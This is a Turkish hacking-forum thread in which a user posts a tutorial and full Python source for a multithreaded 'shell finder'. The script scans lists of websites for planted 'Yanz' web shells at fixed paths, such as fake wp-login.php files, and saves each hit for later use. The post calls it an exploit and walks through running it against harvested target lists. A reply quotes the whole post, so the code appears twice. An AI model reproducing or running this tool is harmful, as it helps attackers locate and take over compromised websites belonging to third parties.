Shell Finder Nedir Ve Nasıl Kodlanır

CommandBEY

Uzman Pilot
4 May 2024
77
94
25
Liebe Tötet
logo.png


Merhabalar Ben CommandBEY, Bugün ki konumuz shell finder nedir ve nasıl yazılır bunları ele alacağız.

iwxqmay.png

Shell Finder Nedir?

Shell Finder, Hedef sitelere belirli payloadlar (shell isim listesi) ile deneme yanılma yolu ile shell bulmaya çalışan bir exploit türüdür.


ro3fzuc.png

Kod Hali;
Python:
import sys
import requests
import re
import random
import string
from multiprocessing.dummy import Pool
from colorama import Fore
from os import system
import platform

osname = platform.system()
if osname == "Windows":
    system("cls")
elif osname == "Linux":
    system("clear")

banner = Fore.GREEN + """  #####                                            ######  ####### #     #[/COLOR]
 [COLOR=rgb(255, 255, 255)]#     #  ####  #    # #    #   ##   #    # #####  #     # #        #   #[/COLOR]
 [COLOR=rgb(255, 255, 255)]#       #    # ##  ## ##  ##  #  #  ##   # #    # #     # #         # #[/COLOR]
 [COLOR=rgb(255, 255, 255)]#       #    # # ## # # ## # #    # # #  # #    # ######  #####      #[/COLOR]
 [COLOR=rgb(255, 255, 255)]#       #    # #    # #    # ###### #  # # #    # #     # #          #[/COLOR]
 [COLOR=rgb(255, 255, 255)]#     # #    # #    # #    # #    # #   ## #    # #     # #          #
  #####   ####  #    # #    # #    # #    # #####  ######  #######    #
  Coded By CommandBEY""" + Fore.RESET
print(banner)
requests.urllib3.disable_warnings()

try:
    hedef = [i.strip() for i in open(sys.argv[1], mode='r').readlines()]
except IndexError:
    yol = str(sys.argv[0]).split('\\')
    exit(Fore.RED + '\n[+] Lütfen Örnekteki Gibi Girin <' + yol[len(yol) - 1] + '> <sites.txt>' + Fore.RESET)

def ran(length):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(length))

shell_list = ['/ioxi002.PhP7','/ynz.PhP7','/themes.php','/erin1.PhP7','/fosil.php','/ws.php.php','/ws.php','/wp-admin/user/wp-login.php','/wp-includes/images/wp-login.php','/.well-known/pki-validation/wp-login.php','/wp-admin/wp-login.php','/wp-includes/wp-login.php','/cgi-bin/wp-login.php','/.wp-cli/wp-login.php','/wp-content/uploads/wp-login.php']

class EvaiLCode:
    def __init__(self):
        self.headers = {'User-Agent': 'Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36'}

    def URLdomain(self, site):
        if site.startswith("http://"):
            site = site.replace("http://","")
        elif site.startswith("https://"):
            site = site.replace("https://","")
        else:
            pass
        pattern = re.compile('(.*)/')
        while re.findall(pattern,site):
            sitez = re.findall(pattern,site)
            site = sitez[0]
        return site

    def denetleme(self, site):
        try:
            domain = self.URLdomain(site)
            for Path in shell_list:
                full_url = "http://" + domain + Path
                response = requests.get(full_url, headers=self.headers, verify=False, timeout=60)
                check = response.content
                if b"Yanz Webshell!" in check:
                    print('Hedef:{} --> Başarılı'.format("http://" + domain))
                    open('Sheller.txt','a').write("http://" + domain + Path + "\n")
                    break
                else:
                    print(Fore.RED + 'Hedef:{} --> Başarısız'.format("http://" + domain) + Fore.RESET)
        except Exception as e:
            print(e) # herhangi bir hata alırsa hatayı yazdırır
            pass

Control = EvaiLCode()

def Runfinder(site):
    try:
        Control.denetleme(site)
    except Exception as e:
        print(e) # herhangi bir hata alırsa hatayı yazdırır
        pass

mp = Pool(150)
mp.map(Runfinder, hedef)
mp.close()
mp.join()


Dosya Hali
Tıkla --> VirüsTotal

ro3fzuc.png


shell_list değişkenindeki yollara bakıp eğer içeriğinde 'Yanz Webshell!' yazıyorsa shellin var olduğunu bulup bunu dosya'ya kaydeder, Kısacası Yanz Shell buluyor.
Örnek Yanz Shell;
wso.png

sjh1yjm.png


Şimdi ise exploiti çalıştıralım, Eğer exploitin nasıl çalıştığını bilmiyorsak (parametrelerini) python dosyasını çalıştırarak öğrenebiliriz.

1fl28c0.png

Evet, Sadece sitelerin bulunduğu txt dosyası verebilirmişiz, siteleri oto collect (otomatik toplama) araçlarından toplayabilirsiniz.

c6jk4eu.png

sitelerin olduğu site.txt dosyası, Şimdi exploiti çalıştıralım

tt0570a.png

Parametre olarak sadece txt dosyamızı vermemiz yeterli, Sonrasında bize beklemek düşüyor.

nlqjzmo.png

3mo3lj3.png

Eğer başarılı bir site olursa onu
'sheller.txt' adlı txt dosyasına kaydeder.

ro3fzuc.png

Konumu okuduğunuz için teşekkür ederim.
 

ACE Veen

Uzman üye
4 Şub 2023
1,134
573
Belirsiz
logo.png


Merhabalar Ben CommandBEY, Bugün ki konumuz shell finder nedir ve nasıl yazılır bunları ele alacağız.

iwxqmay.png

Shell Finder Nedir?

Shell Finder, Hedef sitelere belirli payloadlar (shell isim listesi) ile deneme yanılma yolu ile shell bulmaya çalışan bir exploit türüdür.


ro3fzuc.png

Kod Hali;
Python:
import sys
import requests
import re
import random
import string
from multiprocessing.dummy import Pool
from colorama import Fore
from os import system
import platform

osname = platform.system()
if osname == "Windows":
    system("cls")
elif osname == "Linux":
    system("clear")

banner = Fore.GREEN + """  #####                                            ######  ####### #     #[/COLOR][/COLOR]
 [COLOR=rgb(255, 255, 255)][COLOR=rgb(255, 255, 255)]#     #  ####  #    # #    #   ##   #    # #####  #     # #        #   #[/COLOR][/COLOR]
 [COLOR=rgb(255, 255, 255)][COLOR=rgb(255, 255, 255)]#       #    # ##  ## ##  ##  #  #  ##   # #    # #     # #         # #[/COLOR][/COLOR]
 [COLOR=rgb(255, 255, 255)][COLOR=rgb(255, 255, 255)]#       #    # # ## # # ## # #    # # #  # #    # ######  #####      #[/COLOR][/COLOR]
 [COLOR=rgb(255, 255, 255)][COLOR=rgb(255, 255, 255)]#       #    # #    # #    # ###### #  # # #    # #     # #          #[/COLOR][/COLOR]
 [COLOR=rgb(255, 255, 255)][COLOR=rgb(255, 255, 255)]#     # #    # #    # #    # #    # #   ## #    # #     # #          #
  #####   ####  #    # #    # #    # #    # #####  ######  #######    #
  Coded By CommandBEY""" + Fore.RESET
print(banner)
requests.urllib3.disable_warnings()

try:
    hedef = [i.strip() for i in open(sys.argv[1], mode='r').readlines()]
except IndexError:
    yol = str(sys.argv[0]).split('\\')
    exit(Fore.RED + '\n[+] Lütfen Örnekteki Gibi Girin <' + yol[len(yol) - 1] + '> <sites.txt>' + Fore.RESET)

def ran(length):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(length))

shell_list = ['/ioxi002.PhP7','/ynz.PhP7','/themes.php','/erin1.PhP7','/fosil.php','/ws.php.php','/ws.php','/wp-admin/user/wp-login.php','/wp-includes/images/wp-login.php','/.well-known/pki-validation/wp-login.php','/wp-admin/wp-login.php','/wp-includes/wp-login.php','/cgi-bin/wp-login.php','/.wp-cli/wp-login.php','/wp-content/uploads/wp-login.php']

class EvaiLCode:
    def __init__(self):
        self.headers = {'User-Agent': 'Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36'}

    def URLdomain(self, site):
        if site.startswith("http://"):
            site = site.replace("http://","")
        elif site.startswith("https://"):
            site = site.replace("https://","")
        else:
            pass
        pattern = re.compile('(.*)/')
        while re.findall(pattern,site):
            sitez = re.findall(pattern,site)
            site = sitez[0]
        return site

    def denetleme(self, site):
        try:
            domain = self.URLdomain(site)
            for Path in shell_list:
                full_url = "http://" + domain + Path
                response = requests.get(full_url, headers=self.headers, verify=False, timeout=60)
                check = response.content
                if b"Yanz Webshell!" in check:
                    print('Hedef:{} --> Başarılı'.format("http://" + domain))
                    open('Sheller.txt','a').write("http://" + domain + Path + "\n")
                    break
                else:
                    print(Fore.RED + 'Hedef:{} --> Başarısız'.format("http://" + domain) + Fore.RESET)
        except Exception as e:
            print(e) # herhangi bir hata alırsa hatayı yazdırır
            pass

Control = EvaiLCode()

def Runfinder(site):
    try:
        Control.denetleme(site)
    except Exception as e:
        print(e) # herhangi bir hata alırsa hatayı yazdırır
        pass

mp = Pool(150)
mp.map(Runfinder, hedef)
mp.close()
mp.join()


Dosya Hali
Tıkla --> VirüsTotal

ro3fzuc.png


shell_list değişkenindeki yollara bakıp eğer içeriğinde 'Yanz Webshell!' yazıyorsa shellin var olduğunu bulup bunu dosya'ya kaydeder, Kısacası Yanz Shell buluyor.
Örnek Yanz Shell;
wso.png

sjh1yjm.png


Şimdi ise exploiti çalıştıralım, Eğer exploitin nasıl çalıştığını bilmiyorsak (parametrelerini) python dosyasını çalıştırarak öğrenebiliriz.

1fl28c0.png

Evet, Sadece sitelerin bulunduğu txt dosyası verebilirmişiz, siteleri oto collect (otomatik toplama) araçlarından toplayabilirsiniz.

c6jk4eu.png

sitelerin olduğu site.txt dosyası, Şimdi exploiti çalıştıralım

tt0570a.png

Parametre olarak sadece txt dosyamızı vermemiz yeterli, Sonrasında bize beklemek düşüyor.

nlqjzmo.png

3mo3lj3.png

Eğer başarılı bir site olursa onu
'sheller.txt' adlı txt dosyasına kaydeder.

ro3fzuc.png

Konumu okuduğunuz için teşekkür ederim.
eline sağlık... : )
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.